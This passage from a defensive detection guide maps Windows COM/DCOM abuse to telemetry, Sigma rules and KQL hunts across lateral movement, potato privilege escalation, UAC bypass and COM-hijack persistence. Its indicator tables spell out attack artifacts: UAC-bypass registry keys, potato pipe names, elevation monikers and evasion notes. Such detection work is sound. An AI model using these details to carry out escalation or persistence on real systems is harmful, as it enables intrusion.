| 17/18 | Pipe created/connected | Potato-family named pipes: `\\.\pipe\roguepotato\pipe\epmapper`, `\\.\pipe\*\pipe\spoolss`; `mscorsvw` marshaling pipes ([52], [53]) |
|
||||||
|
| 22 | DNS query | `regsvr32` resolving scriptlet hosts ([14]) |
|
||||||
|
|
||||||
|
### 2.2 Security and other Windows event logs
|
||||||
|
|
||||||
|
| Event | Source/log | COM signal |
|
||||||
|
|---|---|---|
|
||||||
|
| 4624 Type 3 | Security | Network logon on the target from DCOM activation (NTLM with IP targets; Kerberos adds 4768/4769); also Type 9 (`NewCredentials`) from the JuicyPotatoNG `LogonUser` trick ([11], [54]) |
|
||||||
|
| 4625 | Security | Failed logons accompanying DCOM probing |
|
||||||
|
| 4648 | Security | Explicit-credential logon on the *source* host (`dcomexec` with cleartext creds) ([12]) |
|
||||||
|
| 4672 | Security | Special privileges assigned — admin-grade DCOM logon on target |
|
||||||
|
| 4688 | Security | Process creation with command line (mirror of Sysmon 1, needs audit policy + command-line auditing) |
|
||||||
|
| 4657/4663 | Security | Registry value modification / object access — requires SACLs on `Software\Classes\AppID`, `CLSID`, `TypeLib` keys |
|
||||||
|
| 5156/5158 | Security (WFP) | Windows Filtering Platform connection events — covers 135/dynamic-port flows but very noisy |
|
||||||
|
| 5712 | Security | RPC interface filtering event — the briefs flag it as **unreliable**; use RPC Firewall instead ([6]) |
|
||||||
|
| 4104 | PowerShell Operational | Script-block logging: catches `GetTypeFromCLSID`, `ExecuteShellCommand` one-liners verbatim ([21], [22]) |
|
||||||
|
| 8004 | AppLocker | Blocked execution events when scriptlet/child-process rules deny a COM chain ([15]) |
|
||||||
|
| Audit DCOM Activity | Security (subcategory) | Native DCOM audit subcategory; powerful but rarely enabled — enable on critical servers |
|
||||||
|
|
||||||
|
### 2.3 DistributedCOM events (System log)
|
||||||
|
|
||||||
|
| Event | Meaning | Detection use |
|
||||||
|
|---|---|---|
|
||||||
|
| 10006 / 10016 | Launch/access **denied** (machine or AppID ACL) | Probing indicator: a principal enumerating or attempting activations it lacks rights for ([11]) |
|
||||||
|
| 10009 / 10028 | DCOM communication/unreachable-server errors | Failed activation attempts; useful in correlation, noisy alone |
|
||||||
|
| 10010 | Server "did not register with DCOM within the required timeout" | Abandoned-binary hijack (`mobsync.exe` pattern): the planted payload runs but never registers — client sees `0x80080005`, target logs 10010 ([13]) |
|
||||||
|
| 10015 / 10016 | `E_ACCESSDENIED` at activation (launch gate) | The classic "DistributedCOM 10016" log noise — baseline it, then alert on *new* SID/CLSID pairs |
|
||||||
|
| 10036 | **Server-side refusal**: activation below `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` floor — logs user/SID/client IP | KB5004442-era content; prime source for spotting legacy-tool or relay-flavored activation attempts ([8], [9], [10]) |
|
||||||
|
| 10037 / 10038 | **Client-side** events: local client below the required authentication level | Same hardening family, on the initiating host ([8], [9]) |
|
||||||
|
|
||||||
|
### 2.4 ETW providers (exact GUIDs)
|
||||||
|
|
||||||
|
| Provider | GUID | Detection use |
|
||||||
|
|---|---|---|
|
||||||
|
| Microsoft-Windows-RPC (Debug) | `{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}` | EID 5/6 RPC client/server call start: `InterfaceUuid`, `OpNum`, `Protocol`, `Endpoint` — the core ORPC lens ([5]) |
|
||||||
|
| Microsoft-Windows-RPC-Events | `{F4AED7C7-A898-4627-B053-44A7CAA12FCD}` | RPC operational channel |
|
||||||
|
| Microsoft-Windows-RPCSS | `{D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}` | RPCSS/DcomLaunch hosting events |
|
||||||
|
| Microsoft-Windows-COMRuntime | `{BF406804-6AFA-46E7-8A48-6C357E1D6D61}` | COM activation/runtime tracing (verbose; enable in labs, sample in production) |
|
||||||
|
| Microsoft-Windows-COM-Perf | `{B8D6861B-D20F-4EEC-BBAE-87E0DD80602B}` | COM performance counters |
|
||||||
|
| Microsoft-Windows-COM-RundownInstrumentation | `{2957313D-FCAA-5D4A-2F69-32CE5F0AC44E}` | Rundown/state capture |
|
||||||
|
| Microsoft-Windows-DotNETRuntime | `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | Assembly loads/JIT inside COM hosts (`wscript`, `dllhost`, `svchost`) — catches DotNetToJScript and trapped-COM `Assembly.Load` even when AMSI is bypassed ([42], [43]) |
|
||||||
|
| Microsoft-Windows-Threat-Intelligence | `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | Injection-style memory behavior; consumers must run as PPL ([37]) |
|
||||||
|
|
||||||
|
Interface UUIDs worth keying RPC ETW (EID 5/6) and RPC Firewall rules on: `IRemoteSCMActivator` `{4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}`, `ISystemActivator` `{000001A0-0000-0000-C000-000000000046}`, `IObjectExporter`/`IOXIDResolver` `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, `IRemUnknown` `{00000131-0000-0000-C000-000000000046}`, `IRemUnknown2` `{00000143-0000-0000-C000-000000000046}` ([5], [6]). Chain-context interfaces for coercion hunting: MS-EFSR `{C681D488-D850-11D0-8C52-00C04FD90F7E}`, MS-RPRN `{AE33069B-A2A8-46EE-A235-DDFD339BE281}` / `{12345678-1234-ABCD-EF00-0123456789AB}`.
|
||||||
|
|
||||||
|
The **RPC Firewall** (Zero Networks) is the compensating control for the missing-remote-IP gap: it mediates RPC calls and logs per-call UUID, opnum, source IP, and principal in its own event 3; the Sigma rule *Remote DCOM/WMI Lateral Movement* (`68050b10-e477-4377-a99b-3721b422d6ef`) keys on it ([6], [7]).
|
||||||
|
|
||||||
|
### 2.5 Network telemetry
|
||||||
|
|
||||||
|
DCOM activation has a fixed wire shape: short-lived TCP 135 (endpoint mapper) to the target's `svchost`, then method calls over a dynamic high port (`49152–65535` on Vista+, `1024–5000` legacy) negotiated by OXID resolution (`IObjectExporter::ResolveOxid2`) ([11], [12]). Concrete network signals:
|
||||||
|
|
||||||
|
- **Workstation-to-workstation TCP 135** is high-fidelity — legitimate DCOM flows (SCCM, backup, OPC, AV management) come from known management hosts.
|
||||||
|
- **DCE/RPC content**: activation calls `RemoteGetClassObject` / `RemoteCreateInstance` on 135; `IDispatch::GetIDsOfNames` method-name strings (`ShellExecute`, `ExecuteShellCommand`) and `Invoke` arguments traverse the wire **in cleartext at Packet-Integrity** authentication — only Packet Privacy encrypts payloads ([11], [12]). Zeek `dce_rpc` and Suricata decode these.
|
||||||
|
- **`MEOW`**: the OBJREF signature (`0x574F454D`) of every marshaled interface pointer is trivially greppable in packet captures and memory.
|
||||||
|
- Egress from `mmc.exe`/`EXCEL.EXE`/`dllhost.exe` to rare destinations is beacon-shaped (Sysmon 3 / NetFlow).
|
||||||
|
|
||||||
|
> **Warning (brief discrepancy):** the R2 brief documents the activation interface `ISystemActivator`/`IRemoteSCMActivator` opnums as 3 (`RemoteGetClassObject`) and 4 (`RemoteCreateInstance`); the R1 brief's wire-sequence notes say `RemoteCreateInstance` is opnum 6. R6 does not settle it. Opnum numbering shifts with interface inheritance (`IRemoteSCMActivator` vs its `ISystemActivator` derivative) — **verify against your own decoder/RPC Firewall before hard-coding opnum filters**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Detecting DCOM Lateral Movement
|
||||||
|
|
||||||
|
The chapter-02 attack family (T1021.003 / T1559.001) is the best-instrumented COM abuse class: it crosses every seam — lineage, logon, wire, and (when hardened) the DistributedCOM log. Coverage below is per-layer.
|
||||||
|
|
||||||
|
### 3.1 Process lineage (Sysmon 1 / Security 4688)
|
||||||
|
|
||||||
|
Every remote-activation object leaves a two-generation signature: `svchost.exe -k DcomLaunch` spawns the COM server, and the payload spawns from that server. The lineage table doubles as a "which object did they use" fingerprint:
|
||||||
|
|
||||||
|
| Object | First generation (parent → server) | Second generation (payload parent) | Distinguishing artifact |
|
||||||
|
|---|---|---|---|
|
||||||
|
| MMC20.Application `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `svchost -k DcomLaunch` → `mmc.exe -Embedding` | `mmc.exe` → `cmd`/`powershell` | Command line split into program/args; window state `"7"` ([11]) |
|
||||||
|
| ShellWindows `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | none — piggybacks the running `explorer.exe` (no new COM host) | `explorer.exe` → payload | Requires an interactive session; default object in impacket `dcomexec` ([12], [61]) |
|
||||||
|
| ShellBrowserWindow `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | none/new `explorer.exe` if no window exists | `explorer.exe` → payload | Win10/2012R2+ only; `Navigate`/`Navigate2` variant ([61]) |
|
||||||
|
| Excel.Application (5 primitives) | `svchost -k DcomLaunch` → `EXCEL.EXE /automation -Embedding` | `EXCEL.EXE` → `cmd`/XLL/macro | `/automation -Embedding` is a strong artifact; Sysmon 7 for `.xll` loads; XLM/shellcode variants from the MDSec C# work ([62], [63]) |
|
||||||
|
| Outlook.Application `{0006F03A-0000-0000-C000-000000000046}` | `svchost` → `OUTLOOK.EXE -Embedding` | in-process shellcode via ScriptControl | `wshom.ocx` image load if `Wscript.Shell` variant used ([61]) |
|
||||||
|
| Surrogate-hosted classes | `svchost` → `DllHost.exe /Processid:{AppID}` | per technique | Anomalous `/Processid:` values are reviewable ([12]) |
|
||||||
|
| Abandoned binary (mobsync) `{C947D50F-378E-4FF6-8835-FCB50305244D}` | planted binary at the registered path | payload process itself | Sysmon 11 `ADMIN$` write + DistributedCOM 10010 ([13]) |
|
||||||
|
|
||||||
|
> **Warning (brief discrepancy):** the R2 brief identifies Excel.Application by CLSID `{00020812-0000-0000-C000-000000000046}` while R6's execution-objects table uses `{00024500-0000-0000-C000-000000000046}`. Per the R6-preference rule, treat `{00024500-...}` as canonical — and verify against the target's registry before hard-coding any CLSID filter.
|
||||||
|
|
||||||
|
> **Key idea:** Office COM servers running non-interactively on *servers* are approximately zero-false-positive — no legitimate workflow activates `Excel.Application` over DCOM on a server. The Sigma SharpMove rule (`proc_creation_win_hktl_sharpmove`) and the FalconFriday 0xFF05 analytic cover this layer; note FalconFriday's own caveat that `/automation -Embedding` alone is noisy on workstations and must be correlated with lineage and network ([1], [2]).
|
||||||
|
|
||||||
|
### 3.2 The Sigma MMC20 rule
|
||||||
|
|
||||||
|
The canonical lineage rule — *MMC20 Lateral Movement*, id `f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`, level high ([1]):
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
# Condensed selection logic of Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd [1]
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
ParentImage|endswith: '\svchost.exe'
|
||||||
|
Image|endswith: '\mmc.exe'
|
||||||
|
CommandLine|contains: '-Embedding'
|
||||||
|
```
|
||||||
|
|
||||||
|
It fires on the *first* generation only. Pair it with a second-generation rule (`mmc.exe` → `cmd.exe`/`powershell.exe`) and with the Splunk analytics *Remote Process Instantiation via DCOM and PowerShell* (`d4f42098-4680-11ec-ad07-3e22fbd008af`), its *Script Block* variant (`fa1c3040-4680-11ec-a618-3e22fbd008af`, keys on 4104 content), *Mmc LOLBAS Execution Process Spawn* (`f6601940-4c74-11ec-b9b7-3e22fbd008af`), and *Possible Lateral Movement PowerShell Spawn* (`22282a2d-dc19-4b88-ac61-6c86ff92904f`) ([21], [22], [23], [24]). Elastic ships the prebuilt network rule *Incoming DCOM Lateral Movement with MMC* ([20]).
|
||||||
|
|
||||||
|
### 3.3 Network layer
|
||||||
|
|
||||||
|
- Inbound 135 → short-lived epmap conversation → dynamic high port carrying the actual method calls (section 2.5). Workstation-to-workstation 135 is high-fidelity; restrict and alert ([12]).
|
||||||
|
- Wire content: `GetIDsOfNames`/`Invoke` with `ShellExecute`/`ExecuteShellCommand` strings and full command lines in cleartext at Packet Integrity — signature-able in Zeek/Suricata without decryption ([11]).
|
||||||
|
- impacket `dcomexec` leaves a forensic regex in its semi-interactive output redirect: `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` (the `\\127.0.0.1\ADMIN$\__<epoch>.<ms>` write-back file) — misthi0s' hunting signature ([3], [12]).
|
||||||
|
- Microsoft Defender for Identity raises *Remote code execution attempt* for MMC20/ShellWindows patterns ([11]).
|
||||||
|
|
||||||
|
### 3.4 Windows events and KB5004442-era content
|
||||||
|
|
||||||
|
- **4624 Type 3** on the target (NTLM when the target is addressed by IP; Kerberos 4768/4769 when by name), **4648** on the source for explicit creds, **4672** for privileged logons. DCOM is always authenticated, so the logon is guaranteed — it just looks like normal admin activity unless correlated with lineage and 135 flows ([11], [12]).
|
||||||
|
- **DistributedCOM 10006/10016** (denials) = probing of objects whose AppID ACLs exclude the caller; **10010** = the mobsync/abandoned-binary pattern (server never registers) ([13]).
|
||||||
|
- **KB5004442 hardening events** double as detection content: **10036** (server-side refusal below `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`, logging user/SID/**client IP**), **10037/10038** (client-side). Relay-era tooling and legacy clients trip these; authenticated admin DCOM at the floor does not — KB5004442 kills unauthenticated/relay paths, not credentialed lateral movement ([8], [9], [10]).
|
||||||
|
- **Audit DCOM Activity** subcategory: rarely enabled, worth enabling on servers ([11]).
|
||||||
|
|
||||||
|
### 3.5 Hunt queries and attack-path modeling
|
||||||
|
|
||||||
|
The MDE KQL form of the lineage anchor ([15]):
|
||||||
|
|
||||||
|
```kusto
|
||||||
|
// DCOM lateral movement — COM servers spawned by DcomLaunch
|
||||||
|
DeviceProcessEvents
|
||||||
|
| where InitiatingProcessFileName =~ "svchost.exe"
|
||||||
|
| where InitiatingProcessCommandLine has "DcomLaunch"
|
||||||
|
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")
|
||||||
|
```
|
||||||
|
|
||||||
|
BloodHound models the same surface as the **`ExecuteDCOM` edge** — collect it and review which principals hold effective DCOM launch rights over which hosts; every edge is both an attack path and a detection scope (where to watch 135 + lineage) ([4]). Validate coverage by running the Atomic Red Team T1021.003 tests and confirming each layer fires ([45]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Detecting COM Privilege Escalation
|
||||||
|
|
||||||
|
Chapter 03 splits into two detection problems: the potato family (DCOM used as a *trigger* to force a privileged server to authenticate to the attacker) and trapped-COM/IDispatch chains (registry seams + CLR reflection into privileged, sometimes protected, processes).
|
||||||
|
|
||||||
|
### 4.1 Potato-family artifacts
|
||||||
|
|
||||||
|
All potatoes share a prerequisite that is itself a detection pivot: the attacker runs as a service account holding `SeImpersonatePrivilege` and/or `SeAssignPrimaryTokenPrivilege` (IIS AppPool, MSSQL, LOCAL/NETWORK SERVICE). A service account performing **DCOM activation of a SYSTEM-authenticating class** is anomalous in itself — baseline which service accounts ever activate BITS (`{4991D34B-80A1-4291-83B6-3328366B9097}`), PrintNotify (`{854A20FB-2D44-457D-992F-EF13785D2B51}`), AxInstSv (`{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}`), or McpManagementService (`{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}`) ([52], [54], [64]).
|
||||||
|
|
||||||
|
| Tool | COM trigger | Unique artifacts to key on | Primary telemetry |
|
||||||
|
|---|---|---|---|
|
||||||
|
| RottenPotato / JuicyPotato (≤ Win10 1803) | `CoGetInstanceFromIStorage` with BITS CLSID `{4991D34B-80A1-4291-83B6-3328366B9097}` (Juicy: arbitrary `-c` CLSID) | Local COM listener on an attacker-chosen port (`-l`); byte-relay to real OXID resolver on 135 | Sysmon 3 loopback/listen anomalies; RPC ETW on `IObjectExporter` |
|
||||||
|
| RoguePotato (Win10 1809+/Server 2019+) | BITS CLSID; `IStorage` bindings at a remote attacker IP | Fake OXID resolver (port 9999 local or `socat` 135 redirect); forged `ResolveOxid2` returning endpoint string `localhost/pipe/roguepotato[\pipe\epmapper]` → rpcss connects to **`\\.\pipe\roguepotato\pipe\epmapper`** | Sysmon 17/18 (pipe create/connect); outbound 135 to non-management hosts ([52]) |
|
||||||
|
| JuicyPotatoNG | PrintNotify CLSID `{854A20FB-2D44-457D-992F-EF13785D2B51}`, COM-server port **10247** | `LogonUser` type 9 (`NewCredentials`) to add INTERACTIVE → Security **4624 logon type 9** from a service account; SSPI hook on `AcceptSecurityContext` | 4624 Type 9 + DCOM activation correlation; port 10247 listeners ([54]) |
|
||||||
|
| GodPotato / DCOMPotato / PrintNotifyPotato | Service DCOM objects; attacker `IUnknown` callback impersonated via `CoImpersonateClient` | Variants named `PrinterNotifyPotato.exe` / `McpManagementPotato.exe` (CLSID `{A9819296-...}`); callback `QueryInterface` impersonation | Same service-account-activation pivot; RPC ETW |
|
||||||
|
| LocalPotato (CVE-2023-21746) | PrintNotify / AxInstSv / McpManagementService CLSIDs; fake resolver (default port 10271) returns SPN `cifs/127.0.0.1` | Parallel rogue client against local SMB `127.0.0.1:445` (context swap); weaponization writes `SprintCSP.dll`/`printconfig.dll` to `System32` | Sysmon 11 (`System32` writes by service accounts); SMB loopback anomalies ([64]) |
|
||||||
|
| RogueWinRM | BITS trigger (same service family) | Unprivileged process binding TCP 5985; BITS → HTTP NTLM to `127.0.0.1:5985` | Sysmon 3 (bind on 5985 by non-SYSTEM) |
|
||||||
|
| PrintSpoofer | Not COM (MS-RPRN) — include for pipe telemetry parity | Printer name `\\HOSTNAME/pipe/foo` normalized to `\\.\pipe\foo\pipe\spoolss`; spooler (SYSTEM) connects to attacker pipe | Sysmon 17/18 on `*\pipe\spoolss` suffixes from non-spooler processes ([53]) |
|
||||||
|
|
||||||
|
### 4.2 Trapped-COM artifacts (Forshaw 2025 / IBM ForsHops)
|
||||||
|
|
||||||
|
The fileless chain (local or remote) has exactly four disk/registry seams, all high-fidelity because none appear in normal operations ([37], [38]):
|
||||||
|
|
||||||
|
1. **`TreatAs` on the StdFont CLSID** — `HKLM\SOFTWARE\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\TreatAs` redirected at the .NET `System.Object` class (per-user `HKCU` variant exists for the no-admin path).
|
||||||
|
2. **`.NETFramework` reflection values** — `AllowDCOMReflection = 1` and `OnlyUseLatestCLR = 1` under `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework` (the former re-enables .NET DCOM reflection disabled since MS14-009).
|
||||||
|
3. **CLR load inside the medic service** — `clr.dll`/`clrjit.dll`/`mscoree.dll` image loads inside the `WaaSMedicSvc` `svchost` (a PPL, `PsProtectedSignerWindows-Light`) — visible in Sysmon 7 / MDE image-load even though the host is protected.
|
||||||
|
4. **YARA strings** (Samir Bousseaden's guidance, per the brief): the WaaSRemediation CLSID `{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}` and `{34050212-8AEB-416D-AB76-1E45521DB615}` in tool binaries/scripts — ForsHops (`forshops.exe [target] [c:\path\to\assembly]`) and ComDotNetExploit-class PoCs carry them ([38]).
|
||||||
|
|
||||||
|
Hunt-query form ([15]):
|
||||||
|
|
||||||
|
```kusto
|
||||||
|
// Trapped COM artifacts
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
|
||||||
|
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1
|
||||||
|
|
||||||
|
// CLR in COM hosts
|
||||||
|
DeviceImageLoadEvents
|
||||||
|
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
|
||||||
|
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")
|
||||||
|
```
|
||||||
|
|
||||||
|
> **OpSec:** Microsoft classifies the trapped-COM class as *not a security-boundary violation* (admin→PPL is not defended) and shipped no CVE — meaning there is no patch to wait for and **detection is the only control**. The Outflank follow-up (LLM-assisted enumeration of alternative `IDispatch` classes that avoid the CLR-load limitation) removes signal 3, leaving the registry seams 1–2 as the durable indicators ([38], [56]).
|
||||||
|
|
||||||
|
### 4.3 Weaponization-primitive artifacts (DiagHub / USO lineage)
|
||||||
|
|
||||||
|
These primitives recur across exploit chains, so their artifacts are reusable content: DiagHub `AddAgent` loading a DLL dropped over a non-TrustedInstaller System32 file (the `license.rtf` overwrite → load as SYSTEM pattern) shows as Sysmon 11 + 7 with `DiagnosticsHub.StandardCollector.Service.exe` as the loading process ([67]); the USO trick writes `C:\Windows\System32\windowscoredeviceinfo.dll` (a DLL that does not exist on clean systems) and triggers a scan via `usoclient.exe StartScan` — Sysmon 11 plus the `usoclient` command line ([66]). Microsoft killed both (19H1 `ProcessImageLoadPolicy` on DiagHub; later Insider hardening for USO), so presence of these artifacts on current builds also flags a legacy-target inventory problem.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Detecting UAC Bypass
|
||||||
|
|
||||||
|
Chapter 04's family (T1548.002) is registry-first: nearly every technique writes a per-user association or environment value at Medium IL, then launches an auto-elevating Microsoft binary that consumes it. The telemetry stack is Sysmon 1 (with `IntegrityLevel` and `ParentImage`), 7, 10, 11, 12/13, plus Security 4688 and 4657/4663 registry auditing ([25], [28], [49]).
|
||||||
|
|
||||||
|
### 5.1 Registry-write IOCs (Sysmon 12/13 — high fidelity)
|
||||||
|
|
||||||
|
| Key / value | Technique |
|
||||||
|
|---|---|
|
||||||
|
| `HKCU\Software\Classes\ms-settings\Shell\Open\command` — `(Default)` = payload, `DelegateExecute` emptied | `fodhelper.exe`, `computerdefaults.exe`, `slui.exe` family ([25]) |
|
||||||
|
| `HKCU\Software\Classes\mscfile\shell\open\command` | `eventvwr.exe` → `mmc.exe eventvwr.msc` ([30], [65]) |
|
||||||
|
| `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` | legacy `sdclt.exe` App Paths wave |
|
||||||
|
| `HKCU\Software\Classes\Folder\shell\open\command` | `sdclt.exe` isolated-command waves (also WarzoneRAT persistence) |
|
||||||
|
| `HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command` + empty `DelegateExecute` | `WSReset.exe` ([26]) |
|
||||||
|
| `HKCU\Software\Classes\CLSID\{...}\InprocServer32` (handler redirect against `mmc`/`recdisc`) | COM handler hijack elevation |
|
||||||
|
| `HKCU\Environment` — `windir`, `COR_ENABLE_PROFILING`, `COR_PROFILER`, `COR_PROFILER_PATH` | SilentCleanup `%windir%` expansion; .NET profiler DLL into auto-elevated managed binaries ([27]) |
|
||||||
|
| `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` — `EnableLUA`→0, `ConsentPromptBehaviorAdmin`→0, `PromptOnSecureDesktop`→0 | UAC weakening (needs prior admin = post-exploitation signal) |
|
||||||
|
| `HKLM\...\Image File Execution Options\<exe>` — `VerifierDlls` | AppVerifier/IFEO DLL into elevated processes |
|
||||||
|
|
||||||
|
### 5.2 CLSID/IID watchlist and the elevation-moniker artifact
|
||||||
|
|
||||||
|
Elevated-COM abuse is detectable by the objects it instantiates and the strings it carries ([49]):
|
||||||
|
|
||||||
|
- `CLSID_CMSTPLUA` `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` + `IID_ICMLuaUtil` `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` (`ShellExec`) — the workhorse. **Process artifact:** the elevated child spawns under `DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` (the surrogate hosting the elevated class) ([49]).
|
||||||
|
- `CLSID_FileOperation` `{3AD05575-8857-4850-9277-11B85BDB8E09}` — privileged copy primitive; watch **Medium-IL processes creating files inside `%SystemRoot%\System32`** (Sysmon 11 with integrity-level context) as the arming step of every DLL-hijack method.
|
||||||
|
- ElevatedFactoryServer `{A6BFEA43-501F-456F-A845-983D3AD7B8F0}` / `IElevatedFactoryServer` `{804BD226-AF47-4D71-B492-443A57610B08}` → Task Scheduler `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}` — fileless SYSTEM via task XML.
|
||||||
|
- The moniker string `Elevation:Administrator!new:` in command lines, scripts, and binaries — often stored reversed or XORed in loaders ([49]).
|
||||||
|
|
||||||
|
### 5.3 Behavioral patterns (the near-zero-FP set)
|
||||||
|
|
||||||
|
Per the R4 brief's hunting set, ordered by fidelity:
|
||||||
|
|
||||||
|
1. **High-IL child of an auto-elevate binary** — `cmd`/`powershell`/payload in user paths whose parent is `fodhelper`, `computerdefaults`, `eventvwr`→`mmc`, `sdclt`, `wsreset` (Splunk *FodHelper UAC Bypass*, *Windows UAC Bypass Suspicious Child Process*) ([25], [29]).
|
||||||
|
2. **Registry write → matching System32 binary within seconds** — the automated chain shape (Splunk *WSReset UAC Bypass*; SigmaHQ ships per-technique `registry_set` rules) ([15], [26]).
|
||||||
|
3. **`HKCU\Environment` writes of `windir`/`COR_PROFILER_PATH`** + `schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup` (Splunk *.NET Profiler UAC bypass*) ([27]).
|
||||||
|
4. **Execution paths containing trailing spaces** (`C:\Windows \System32\...`) — mock trusted directories; SentinelOne's recommended alert for the DBatLoader/Remcos chain, mirrored by the Sigma *TrustedPath UAC Bypass Pattern* ([50], [51]).
|
||||||
|
5. **Image loads of the hijack-DLL name set** (`cryptbase`, `ntwdblib`, `dbgcore`, `atl`, `mscoree`, `netutils`, `dismcore`, `wow64log`, `BluetoothDiagnosticUtil`, ...) from non-System32 locations by elevated Microsoft-signed processes (Sysmon 7) ([49]).
|
||||||
|
6. **Silent elevation** — elevation events with **no `consent.exe`** on the wire, plus `Elevation:Administrator!new:` strings ([49]).
|
||||||
|
7. **Handle duplication into known UAC-bypass binaries** (Sysmon 10) — Splunk *Windows Handle Duplication in Known UAC-Bypass Binaries* ([28]).
|
||||||
|
|
||||||
|
Validation tooling: Atomic Red Team T1548.002 tests (fodhelper, eventvwr, sdclt, WSReset, SilentCleanup, CMSTPLUA, .NET profiler) and UACME `Akagi` itself for range work ([45], [49]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Detecting COM Persistence
|
||||||
|
|
||||||
|
Chapter 05's family (T1546.015) is a registry-diff problem: the hijack persists as a per-user shadow of a machine registration, and every variant touches one of five seams — `InprocServer32`, `LocalServer32`, `TreatAs`, `ProgID`, or `TypeLib` ([34], [35]).
|
||||||
|
|
||||||
|
### 6.1 Registry telemetry targets (Sysmon 12/13/14)
|
||||||
|
|
||||||
|
| Path pattern | Variant |
|
||||||
|
|---|---|
|
||||||
|
| `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` — `InprocServer32`, `LocalServer32`, `TreatAs`, `ScriptletURL`, `ProgID` | Classic CLSID shadow ([16]) |
|
||||||
|
| `HKU\<SID>_Classes\TypeLib\*\0\win32` / `win64` | TypeLib hijack ([31]) |
|
||||||
|
| `HKU\<SID>\Software\Classes\mscfile\shell\open\command`, `*\Folder\shell\open\command` (+ `DelegateExecute`) | Association crossover with the UAC family ([30]) |
|
||||||
|
| 32-bit reflection: `HKCU\Software\Classes\Wow6432Node\CLSID\...` | Office/Outlook hijacks on 64-bit Windows |
|
||||||
|
|
||||||
|
High-signal heuristics from the brief ([16], [20], [35]):
|
||||||
|
|
||||||
|
- `InprocServer32` `(Default)` pointing outside `%SystemRoot%\System32` / `Program Files` → user-writable paths.
|
||||||
|
- HKCU CLSID shadowing an HKLM CLSID with a *different* server path (requires a baseline diff — the Elastic prebuilt rule `persistence_suspicious_com_hijack_registry.toml` implements exactly this) ([19]).
|
||||||
|
- Registered server path whose file **does not exist** (phantom/orphan) — see 6.3.
|
||||||
|
- `TreatAs` written by a non-`svchost`/non-Office process; **any** `ScriptletURL` key creation (rare legitimately — "detection gold") ([17], [18], [35]).
|
||||||
|
- `TypeLib` values containing `script:`, `http:`, or `https:` — per the brief, "almost certainly malicious"; pair with `scrobj.dll` image loads in non-script hosts and `reg.exe` command lines containing `TypeLib` + `script` ([31]).
|
||||||
|
- Process/cmdline indicators: `rundll32.exe -sta {CLSID}` (note the evasion: `-stagggg` suffixes still work), `verclsid.exe /S /C {CLSID}`, `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding <file.msc>` **whose parent is not `svchost.exe`** (properly instantiated COM servers spawn from `svchost -k DcomLaunch`; any other parent for an `-Embedding` command line is suspicious), and `LocalServer32` values carrying `cmd.exe`/`powershell.exe` arguments (fileless persistence) ([35]).
|
||||||
|
|
||||||
|
### 6.2 Named rules and analytics
|
||||||
|
|
||||||
|
- SigmaHQ registry rules: `registry_set_persistence_com_hijacking_builtin.yml` ([16]), `registry_set_persistence_com_key_linking.yml` (TreatAs subkey; cites bohops Part 2) ([17]), `registry_set_treatas_persistence.yml` ([18]), plus `registry_set_persistence_com_hijacking_susp_locations.yml` and `registry_set_persistence_search_order.yml`; detection.fyi additionally indexes *Modification Of Default System CLSID Default Value*, *PSFactoryBuffer COM Hijacking*, and *Scrobj.dll COM Hijacking* ([15]).
|
||||||
|
- Elastic prebuilt `persistence_suspicious_com_hijack_registry.toml` (HKCU-vs-HKLM shadow diff) ([19]); Elastic's hunting guide *How to hunt: Detecting persistence and evasion with COM* is the vendor walkthrough ([20]).
|
||||||
|
- Splunk *Eventvwr UAC Bypass* covers the `mscfile` crossover ([30]).
|
||||||
|
- VirusTotal LiveHunt ships YARA keyed on the Sigma behavior rule for CLSID hijacking (2024) ([36]).
|
||||||
|
- Atomic Red Team T1546.015 tests #1–#4 for validation ([45]).
|
||||||
|
|
||||||
|
MDE KQL for the write seam ([15]):
|
||||||
|
|
||||||
|
```kusto
|
||||||
|
// COM hijack registry writes
|
||||||
|
DeviceRegistryEvents
|
||||||
|
| where RegistryKey has @"Software\Classes\CLSID\"
|
||||||
|
